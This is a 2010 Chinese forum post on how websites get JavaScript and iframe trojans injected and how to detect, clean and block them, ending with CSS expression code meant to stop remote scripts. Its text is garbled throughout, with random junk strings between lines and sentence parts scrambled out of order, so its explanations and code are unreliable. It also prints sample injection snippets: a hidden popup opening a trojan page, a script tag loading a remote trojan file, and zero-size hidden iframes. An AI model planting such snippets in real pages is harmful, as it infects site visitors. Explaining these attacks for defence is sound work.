搜索
查看: 11842|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

, @$ d0 ]; k$ }# w$ J# h1 p0 M

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

$ j( G6 V. A* w2 W

IFRAME 和 JS 脚本挂马。

! f2 a' r) N- f3 H {. `5 b

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

1 i# d3 C9 E' m1 z, \& C8 L6 q" z- D

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

' M* y' B/ ~, ~6 H' N

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

; M; k/ c8 B0 W( B3 }( ~1 c

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

$ g3 F- C1 m( y

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

$ `+ Y, y. g }" w% a

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

' Y" a: u# X- _4 i

。一千多位会员的 ID

( A! x& [* Q! r& T$ `" {

2: 如何检测网页是否被挂马。

2 }2 Z! |6 `4 R# h- c

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

H7 k4 f9 L2 x6 H4 _

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

1 m/ Z. j }' i1 @- N

因素。
2 googl 检测。>

7 r" D4 _) T' r" b9 d

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

8 p ^* M5 [, p7 r! f$ C

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

- t9 E4 x3 C/ \& D5 x

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

! d6 u7 @1 w1 a& G' H; }- w# m

: T1 J) A% U% r. B

3: 如何清除网页木马。

7 a9 w% A! g! S0 c/ J* r2 { C1 {- A

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

; \/ M7 M- p) l

入源文件把相关的网页挂马种类的可疑代码删除。

+ D( I1 t. |: X Z/ x% \

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

$ T& b$ f! x. B$ w

悉。>

; Z: W6 U) \8 i; r# W# [6 s

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

: F$ K, ]- V, B3 j/ Z+ j

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

n2 j. {, o" W. o' \; [

2 保证你所使用的顺序及时的更新。

/ O; ^5 d8 ~1 K! e

3 不要在前台网页上加注后台管理程序登陆页面的链接。

* u- P4 x( M# E! y& R9 i* m

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

$ l* F3 M. f4 R3 Z; a. _: R

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

# K. r& i0 d) T; v9 I. d

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

# k O" D, H; g5 U% D6 A

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

. m8 I9 C% h$ m. N. d

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

/ C# w6 |& y: w' F& ^; v

# ~6 J& }% X: d- w2 ^0 b. @4 d+ X

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

, d, b+ C% f; I2 L, A, C

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

7 A* W& d4 }: m/ {$ R

JS 挂马溯源

* P( j0 {! H, A6 G

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

; W. L$ T. x9 d4 q. G+ S

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

+ g' ^& d9 S: K5 f4 ?% X2 N

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

1 r. x D" c# v. D! S

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

5 E4 C7 N0 d4 [. H

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

1 t7 K) `! k J, g |2 G2 i* O+ m

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

' ]3 \8 @3 M: L9 _1 [4 ]$ d

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

& V; U6 l9 S& W- w- K

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

* }. W9 m$ \: i9 A) p

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

% I2 G% N# _) w5 o9 T* N3 c

脚本在工作中会有很大的协助。

" ~) _) a7 ]* l8 n2 o

挂马原理一点通

) O) L& [2 ~; t+ n" }; z9 I

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

( \( y- I n( d, {

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

1 Y6 G2 U: l; Q' i" h1 u3 L* A

无从区分木马在何处。

4 l7 t' G) I( S+ M+ A

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

$ v$ @% `1 ?0 H3 P

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

+ w% Z% D# e4 }+ o, S9 @% m8 k

容易蒙混过关,导致木马久杀不绝。

1 Q5 J1 f: L5 ]: J2 U

JS 挂马攻防实录

) s* s. r( d1 Z" y, T; i

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

: d- J& l& L: U& A

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

/ [; }: `' J; A0 P

这种方法使用的关键代码如下:

; d; Y; Z- ~8 B4 e

"",  window.open "http://www.v404.cn/ 木马

/ v- v6 X1 C3 k% X# b

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

8 S0 Q% w& \! f! f/ h

/ X$ A6 j6 Y) i, u) B8 |

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

7 |+ R8 P# s/ J* J3 e3 [7 P

但是设置为 0 后,可能会出现恶意代码不运行的情况。

7 I( |/ T; _5 `4 ]

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

( q* @9 O. y/ O

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

/ Y0 D* f4 _# N: x( \& C

) \& g8 `/ w& O8 f$ B

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

; w. N8 Q+ Q2 S* ^. i8 W+ {

+ A- x) ? h; r2 V3 q2 U

或者

/ u0 z8 E+ t/ s1 Z4 c8 S

document.writ "<div style='display:none'>"

1 E, f/ p: q: `8 G

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

2 X2 _+ O, E* _* e4 f8 u c" k

document.writ "</div>"
 

" _0 y. y" q9 s

( P! q7 \. Y% _9 I2 z

就成功地将木马挂到对方的网页中了

; \0 l% A& t( r: P8 I6 {

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

0 u3 |" \: z# q5 p

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

% W) v+ H4 k1 ~6 P- w ?

或者:

2 y/ _) \$ \( U% m* p

<ifram src="vbscript:[ 挂马脚本 ]">

) @. f8 D6 H4 V: [

1 S( E8 X- o4 j$ Q% e; [


等等 …

& B& s8 z/ a" m( H1 e

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

L% ^9 I% _3 J

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

: d6 O5 ?6 n. A& K; R2 V

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

* z* E. F( w) K& ?9 N/ U- p

;}

V2 x3 _# U+ F% w1 Z; r5 [) Y

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

' |# d ^* x! Z9 y

. \! \3 B a! W) _2 }& p

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

2 V% K5 y* R3 f. E, m+ B+ Z

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

1 z" z% }. h6 z- h6 e$ j; R6 |

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

+ ^, V# T+ K# H6 J' Y2 c$ [

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

, b/ q0 d8 W( D5 H) O! M! S

<title> 让 JS 挂马中止的 CSS 代码 </title>

# ?, |3 b) K4 l1 N$ q: f3 m! P

<styl type="text/css" id="shudoo">

& b5 O9 c _8 }% t: R' l" p5 _

/*<![CDATA[*/

. k7 G& m/ m3 B3 j8 y8 [

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

' k4 T) s9 K; j% c

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

6 d! ?4 ?9 d& I' m7 A3 }

/*]]>*/

& w/ G9 Q& U- Q1 o

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表